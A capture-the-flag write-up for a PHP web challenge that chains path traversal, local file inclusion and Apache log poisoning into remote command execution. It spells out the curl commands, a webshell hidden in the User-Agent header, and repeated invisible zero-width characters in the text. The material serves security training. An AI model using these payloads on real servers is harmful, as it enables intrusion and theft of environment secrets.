← Back to Writeups
CUSTOMMediumWeb

PageForge

XESXOR9/2/20264 min read
#web#custom#medium#apache_log_poisoning#environment_variable_exfiltrat#lfi_to_rce#path_traversal#user_agent_injection

PageForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apache_log_poisoning, environment_variable_exfiltration, lfi_to_rce, path_traversal, user_agent_injection

Summary

Walkthrough of the CUSTOM Web PageForge. Task: PHP CMS with unsanitized include() on a view parameter, Apache log readable via open_basedir. Solution: LFI via path traversal to read Apache access log, then User-Agent log poisoning with PHP w

Description

PageForge is a lightweight content management system built for small teams and bloggers by Forge Digital Inc. The platform allows users to create and manage articles, organize content with categories and tags, and publish static pages. Built with PHP and Apache, it offers a clean, modern interface for content creation and team collaboration. The goal is to explore the application thoroughly and find a way to execute arbitrary commands on the server in order to read a sensitive file. The URL patterns used for navigating between pages may reveal interesting behavior when manipulated. Consider what files exist on the server that might contain useful information — and how the web server itself records your activity. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP CMS running on Apache/Alpine Linux. The view GET parameter is vulnerable to path traversal via include(). The flag is stored only as an environment variable, requiring RCE. The attack chain is LFI → Apache log poisoning → RCE.

Analysis

Reconnaissance

  • Stack: PHP 8.1 on Alpine Linux 3.19, Apache behind nginx/1.25.5 reverse proxy.
  • URL pattern: Navigation uses /page?view=about, /page?view=contact, /page?view=terms-of-service — the view parameter directly controls which file is included.
  • Application structure (from /etc/apache2/httpd.conf): DocumentRoot /app/public, source in /app/src, pages in /app/pages, templates in /app/templates, config in /app/conf.
  • PHP configuration: open_basedir = /app:/var/log:/etc:/tmp, allow_url_include = Off, session.save_path = /tmp/sessions.
  • Flag location: Stored ONLY as an environment variable FLAG (confirmed from /app/start.sh), meaning RCE is required — simple file read is not enough.
  • Honeypot: A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is planted in the HTML source to trick automated tools and AI agents. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Unsanitized include()

The PHP code in /app/src/controllers/page.php (line 9) uses:

php
include("/app/pages/" . $_GET['view']);

No sanitization, no extension appending — the raw view value is concatenated directly into the path.

Key constraints

  1. allow_url_include = Off — PHP wrappers (php://filter, php://input, data://) are all blocked.
  2. open_basedir = /app:/var/log:/etc:/tmp — restricts file access, but critically includes /var/log.
  3. Apache log format includes User-Agent verbatim: "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
  4. Apache escapes double quotes in logged values: " → \", \ → \\. This is the critical pitfall. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm LFI via path traversal

bash
curl -s "https://TARGET/page?view=../../../etc/passwd"

Response includes /etc/passwd contents, confirming Alpine Linux (/bin/ash shell). The path traversal ../../../ escapes from /app/pages/ to the filesystem root.

Step 2: Read Apache access log via LFI

bash
curl -s "https://TARGET/page?view=../../../var/log/apache2/access.log"

The log is readable and shows all HTTP requests including User-Agent strings logged verbatim. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Poison the log with a PHP webshell

CRITICAL — Use single quotes in the PHP payload:

Apache's mod_log_config escapes double quotes " as \" in logged header values. If you use double quotes in your PHP payload:

BAD:  <?php system($_GET["cmd"]); ?>
      → logged as: <?php system($_GET[\"cmd\"]); ?>
      → PHP fatal parse error: unexpected token "\"
      → Log file permanently corrupted for inclusion!

The correct payload uses single quotes, which Apache does NOT escape:

bash
curl -s "https://TARGET/" -A "<?php system(\$_GET['cmd']); ?>"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This sends a GET request with the PHP webshell as the User-Agent header. Apache logs it to access.log.

Step 4: Trigger RCE and read the flag

bash
curl -s "https://TARGET/page?view=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

When PHP's include() processes the log file, it encounters the <?php tag in the User-Agent field, enters PHP mode, and executes system($_GET['cmd']) which runs printenv FLAG.

The response contains the log entries, and where the poisoned User-Agent was, the flag appears: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

172.30.0.3 - - [...] "GET / HTTP/1.1" 200 17453 "-" "FLAG{REDACTED}
"

Complete exploit (one-liner)

bash
# Step 1: Poison the log
curl -s "https://TARGET/" -A "<?php system(\$_GET['cmd']); ?>"

# Step 2: Execute command via LFI
curl -s "https://TARGET/page?view=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering apache_log_poisoning, environment_variable_exfiltration, lfi_to_rce, path_traversal, user_agent_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-04 • CUSTOM • PageForge • Difficulty: Medium